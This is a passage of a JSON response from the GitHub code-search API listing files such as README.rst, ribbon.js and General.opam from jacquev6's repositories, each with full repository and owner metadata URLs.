s{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/jacquev6.github.io","description":null,"fork":false,"url":"https://api.github.com/repos/jacquev6/jacquev6.github.io","forks_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/forks","keys_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/teams","hooks_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/events","assignees_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/tags","blobs_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/languages","stargazers_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/subscription","commits_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/merges","archive_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/downloads","issues_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/deployments"},"score":32.583553},{"name":"README.rst","path":"README.rst","sha":"6650b80b31440d0aff03eb9f4f0ad2f2faad178c","url":"https://api.github.com/repositories/57307104/contents/README.rst?ref=f2fa67d8836a547eb91429dc6895066cc40cc6f9","git_url":"https://api.github.com/repositories/57307104/git/blobs/6650b80b31440d0aff03eb9f4f0ad2f2faad178c","html_url":"https://github.com/jacquev6/hashids-ocaml/blob/f2fa67d8836a547eb91429dc6895066cc40cc6f9/README.rst","repository":{"id":57307104,"node_id":"MDEwOlJlcG9zaXRvcnk1NzMwNzEwNA==","name":"hashids-ocaml","full_name":"jacquev6/hashids-ocaml","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/hashids-ocaml","description":"OCaml implementation of http://hashids.org","fork":false,"url":"https://api.github.com/repos/jacquev6/hashids-ocaml","forks_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/forks","keys_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/teams","hooks_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/events","assignees_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/tags","blobs_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/languages","stargazers_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/subscription","commits_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/merges","archive_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/downloads","issues_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/deployments"},"score":32.4679},{"name":"README.rst","path":"README.rst","sha":"2fbb83da6dd20ac7f9bfc08ad842185966a90d7a","url":"https://api.github.com/repositories/34715715/contents/README.rst?ref=fee028e4066ba5b9b1506c2e079b1270a59e2653","git_url":"https://api.github.com/repositories/34715715/git/blobs/2fbb83da6dd20ac7f9bfc08ad842185966a90d7a","html_url":"https://github.com/jacquev6/variadic/blob/fee028e4066ba5b9b1506c2e079b1270a59e2653/README.rst","repository":{"id":34715715,"node_id":"MDEwOlJlcG9zaXRvcnkzNDcxNTcxNQ==","name":"variadic","full_name":"jacquev6/variadic","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/variadic","description":"Python decorator for very-variadic functions","fork":false,"url":"https://api.github.com/repos/jacquev6/variadic","forks_url":"https://api.github.com/repos/jacquev6/variadic/forks","keys_url":"https://api.github.com/repos/jacquev6/variadic/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/variadic/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/variadic/teams","hooks_url":"https://api.github.com/repos/jacquev6/variadic/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/variadic/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/variadic/events","assignees_url":"https://api.github.com/repos/jacquev6/variadic/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/variadic/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/variadic/tags","blobs_url":"https://api.github.com/repos/jacquev6/variadic/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/variadic/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/variadic/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/variadic/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/variadic/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/variadic/languages","stargazers_url":"https://api.github.com/repos/jacquev6/variadic/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/variadic/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/variadic/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/variadic/subscription","commits_url":"https://api.github.com/repos/jacquev6/variadic/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/variadic/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/variadic/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/variadic/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/variadic/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/variadic/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/variadic/merges","archive_url":"https://api.github.com/repos/jacquev6/variadic/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/variadic/downloads","issues_url":"https://api.github.com/repos/jacquev6/variadic/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/variadic/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/variadic/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/variadic/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/variadic/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/variadic/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/variadic/deployments"},"score":32.44837},{"name":"README.rst","path":"README.rst","sha":"8330d3c78089589d8e18ab32fa7a86f8d4af0d94","url":"https://api.github.com/repositories/125401887/contents/README.rst?ref=bb0c77a1b0bdb636307e591867aec1bc44d68eb4","git_url":"https://api.github.com/repositories/125401887/git/blobs/8330d3c78089589d8e18ab32fa7a86f8d4af0d94","html_url":"https://github.com/jacquev6/Collide/blob/bb0c77a1b0bdb636307e591867aec1bc44d68eb4/README.rst","repository":{"id":125401887,"node_id":"MDEwOlJlcG9zaXRvcnkxMjU0MDE4ODc=","name":"Collide","full_name":"jacquev6/Collide","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/Collide","description":"Event-based simulation of elastic collisions between balls","fork":false,"url":"https://api.github.com/repos/jacquev6/Collide","forks_url":"https://api.github.com/repos/jacquev6/Collide/forks","keys_url":"https://api.github.com/repos/jacquev6/Collide/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/Collide/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/Collide/teams","hooks_url":"https://api.github.com/repos/jacquev6/Collide/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/Collide/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/Collide/events","assignees_url":"https://api.github.com/repos/jacquev6/Collide/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/Collide/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/Collide/tags","blobs_url":"https://api.github.com/repos/jacquev6/Collide/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/Collide/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/Collide/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/Collide/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/Collide/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/Collide/languages","stargazers_url":"https://api.github.com/repos/jacquev6/Collide/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/Collide/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/Collide/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/Collide/subscription","commits_url":"https://api.github.com/repos/jacquev6/Collide/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/Collide/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/Collide/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/Collide/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/Collide/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/Collide/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/Collide/merges","archive_url":"https://api.github.com/repos/jacquev6/Collide/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/Collide/downloads","issues_url":"https://api.github.com/repos/jacquev6/Collide/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/Collide/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/Collide/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/Collide/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/Collide/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/Collide/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/Collide/deployments"},"score":32.30937},{"name":"index.html","path":"docs/index.html","sha":"4ca6a8f9356234771f2c9f1ea6cd6f44bddaeb4c","url":"https://api.github.com/repositories/57307104/contents/docs/index.html?ref=f2fa67d8836a547eb91429dc6895066cc40cc6f9","git_url":"https://api.github.com/repositories/57307104/git/blobs/4ca6a8f9356234771f2c9f1ea6cd6f44bddaeb4c","html_url":"https://github.com/jacquev6/hashids-ocaml/blob/f2fa67d8836a547eb91429dc6895066cc40cc6f9/docs/index.html","repository":{"id":57307104,"node_id":"MDEwOlJlcG9zaXRvcnk1NzMwNzEwNA==","name":"hashids-ocaml","full_name":"jacquev6/hashids-ocaml","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/hashids-ocaml","description":"OCaml implementation of http://hashids.org","fork":false,"url":"https://api.github.com/repos/jacquev6/hashids-ocaml","forks_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/forks","keys_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/teams","hooks_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/events","assignees_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/tags","blobs_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/languages","stargazers_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/subscription","commits_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/merges","archive_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/downloads","issues_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/deployments"},"score":32.01793},{"name":"ribbon.js","path":"ribbon.js","sha":"30c49798f0521f03e014e2f89207740ec5599f33","url":"https://api.github.com/repositories/24086133/contents/ribbon.js?ref=aaf4309184020eb13ed9738f4f691bb39d1f8afd","git_url":"https://api.github.com/repositories/24086133/git/blobs/30c49798f0521f03e014e2f89207740ec5599f33","html_url":"https://github.com/jacquev6/jacquev6.github.io/blob/aaf4309184020eb13ed9738f4f691bb39d1f8afd/ribbon.js","repository":{"id":24086133,"node_id":"MDEwOlJlcG9zaXRvcnkyNDA4NjEzMw==","name":"jacquev6.github.io","full_name":"jacquev6/jacquev6.github.io","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/jacquev6.github.io","description":null,"fork":false,"url":"https://api.github.com/repos/jacquev6/jacquev6.github.io","forks_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/forks","keys_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/teams","hooks_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/events","assignees_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/tags","blobs_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/languages","stargazers_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/subscription","commits_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/merges","archive_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/downloads","issues_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/deployments"},"score":31.974285},{"name":"General.opam","path":"General.opam","sha":"bc245901e96c92c8c58cab656c9ced9e5b39b5d3","url":"https://api.github.com/repositories/100627412/contents/General.opam?ref=0a80a726d3b09f945e8e601511dd18f1f3ef0162","git_url":"https://api.github.com/repositories/100627412/git/blobs/bc245901e96c92c8c58cab656c9ced9e5b39b5d3","html_url":"https://github.com/jacquev6/General/blob/0a80a726d3b09f945e8e601511dd18f1f3ef0162/General.opam","repository":{"id":100627412,"node_id":"MDEwOlJlcG9zaXRvcnkxMDA2Mjc0MTI=","name":"General","full_name":"jacquev6/General","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/General","description":"Rich functionality for built-in and basic OCaml types","fork":false,"url":"https://api.github.com/repos/jacquev6/General","forks_url":"https://api.github.com/repos/jacquev6/General/forks","keys_url":"https://api.github.com/repos/jacquev6/General/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/General/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/General/teams","hooks_url":"https://api.github.com/repos/jacquev6/General/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/General/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/General/events","assignees_url":"https://api.github.com/repos/jacquev6/General/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/General/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/General/tags","blobs_url":"https://api.github.com/repos/jacquev6/General/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/General/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/General/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/General/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/General/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/General/languages","stargazers_url":"https://api.github.com/repos/jacquev6/General/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/General/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/General/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/General/subscription","commits_url":"https://api.github.com/repos/jacquev6/General/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/General/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/General/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/General/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/General/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/General/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/General/merges","archive_url":"https://api.github.com/repos/jacquev6/General/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/General/downloads","issues_url":"https://api.github.com/repos/jacquev6/General/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/General/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/General/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/General/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/General/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/General/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/General/deployments"},"score":31.55835},{"name":"PyGithub-1.21.0.ebuild","path":"portage/trunk/dev-python/PyGithub/PyGithub-1.21.0.ebuild","sha":"53d105e98d9d58e69ae2f76ec3db940f50050a9e","url":"https://api.github.com/repositories/32190102/contents/portage/trunk/dev-python/PyGithub/PyGithub-1.21.0.ebuild?ref=ba052e0b5506bb78ae421f906c9a7668916fd8aa","git_url":"https://api.github.com/repositories/32190102/git/blobs/53d105e98d9d58e69ae2f76ec3db940f50050a9e","html_url":"https://github.com/seanjensengrey/pentoo/blob/ba052e0b5506bb78ae421f906c9a7668916fd8aa/portage/trunk/dev-python/PyGithub/PyGithub-1.21.0.ebuild","repository":{"id":32190102,"node_id":"MDEwOlJlcG9zaXRvcnkzMjE5MDEwMg==","name":"pentoo","full_name":"seanjensengrey/pentoo","private":false,"owner":{"login":"seanjensengrey","id":128454,"node_id":"MDQ6VXNlcjEyODQ1NA==","avatar_url":"https://avatars2.githubusercontent.com/u/128454?v=4","gravatar_id":"","url":"https://api.github.com/users/seanjensengrey","html_url":"https://github.com/seanjensengrey","followers_url":"https://api.github.com/users/seanjensengrey/followers","following_url":"https://api.github.com/users/seanjensengrey/following{/other_user}","gists_url":"https://api.github.com/users/seanjensengrey/gists{/gist_id}","starred_